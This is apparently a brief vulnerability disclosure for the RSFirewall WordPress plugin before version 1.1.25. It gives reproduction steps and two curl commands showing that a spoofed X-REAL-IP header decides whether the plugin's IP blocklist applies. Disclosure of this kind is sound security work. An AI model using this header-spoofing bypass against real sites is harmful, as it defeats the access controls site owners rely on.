RSFirewall < 1.1.25 - IP Block Bypass

Go to https://example.com/wp-admin/post-new.php?post_type=rsf_lists

Add 123.123.123.123 as IP Address and select Blocklist for the List Type. Submit the form.

Blocked:
curl -I -H 'X-REAL-IP: 123.123.123.123' -H 'User-Agent: Chrome'  https://example.com

Not blocked:
curl -I -H 'X-REAL-IP: 123.123.123.124' -H 'User-Agent: Chrome'  https://example.com